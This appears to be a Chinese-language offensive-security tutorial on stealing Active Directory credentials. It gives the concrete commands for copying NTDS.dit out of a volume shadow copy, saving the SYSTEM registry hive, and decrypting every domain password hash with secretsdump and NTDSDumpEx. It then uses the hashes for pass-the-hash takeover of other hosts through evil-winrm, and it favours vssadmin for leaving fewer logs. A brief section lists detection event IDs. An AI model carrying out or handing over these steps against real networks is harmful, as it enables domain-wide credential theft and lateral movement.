## 一、背景
- NTDS.dit是主要的AD数据库,包括有关域中用户、组和组成员的身份信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在注册表**SYSTEM**配置更改单元中的密钥对这些哈希值进行加密。
- 当然,对于纯粹希望获取到域内的所有账户的密码哈希,也可以采用DcSync,但此种行为动作较为容易被感知。
- 补充:
- NTDS.di默认始终处于运作中,无法被用户操作。
- 默认存放位置为:`C:\windows\NTDS\ntds.dit`
- 因此可以使用创建快照的形式,提取快照内为受到运行保护的备份数据
## 二、数据提取
### 2.1 方法介绍
**卷影复制(Volume Shadow Copy)**
- 卷影复制服务是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(相当于快照)的服务框架。
- 作用如下:
- 用于数据备份
- 支持Windows Server 2003 及以上操作系统
- 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定
- 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup
### 2.2 数据提取
#### 2.2.1 工具介绍
- 两件本机自带的卷影复制工具
- `ntdsutil`
- `vssadmin` (建议采用,产生日志较少)
#### 2.2.2 数据提取
- 查询当前系统快照:`vssadmin list shadows`
- 为C盘创建快照:`vssadmin create shadow /for=c:`
![image-20230913003909654](https://picture.gotarget.top/202309130112374.png)
- 提取卷影中NTDS.dit文件:`copy {卷影副本卷名}3\windows\ntds\ntds.dit c:\ntds.dit`
- 删除快照:`vssadmin delete shadows /for=c: /quiet`
- 获取解密密钥:`reg save HKLM\system system`
- 保存注册表中的system信息,后续使用解密工具作为密钥解密NTDS.dit,获取全部用户账密信息。
#### 2.2.3 数据解密
- [IMPACKET工具包](https://cloud.tencent.com/developer/article/1952677)
- `python secretsdump.py -system system.save -ntds ntds.dit local`
![image-20230913011800734](https://picture.gotarget.top/202309130118214.png)
- [NTDSDumpEX](https://github.com/zcgonvh/NTDSDumpEx)
- `NTDSDumpEx.exe -d ntds.dit -s system.save`
![image-20230913012101049](https://picture.gotarget.top/202309130121582.png)
### 三、攻击利用
- 对于获取到域内的账户名与哈希,可直接采用`PTH`攻击,建议用`evil-winrm`实现`PTH`
- 由攻击机`231`利用账号以及密码哈希,通关winrm成功接管域内其他主机。
![image-20230913013109631](https://picture.gotarget.top/202309130131044.png)
## 四、事件溯源
● event-id:8222、4688
![image](https://picture.gotarget.top/202402281424901.png)
![image-20240228142450280](https://picture.gotarget.top/202402281424779.png)
## 五、补充
- 对于提取`NTDS`的手法还有很多,但借助于第三方的脚本或工具的,一般都会被杀软识别,所以选中适合自己的就好。
- `WinRM`是域内主机默认开启的支持远程管理的工具,需要使用特权账户才能在域内据此横移。
- 终端分屏工具:tmux
- shell工具:Termius
、
NTDS提取与利用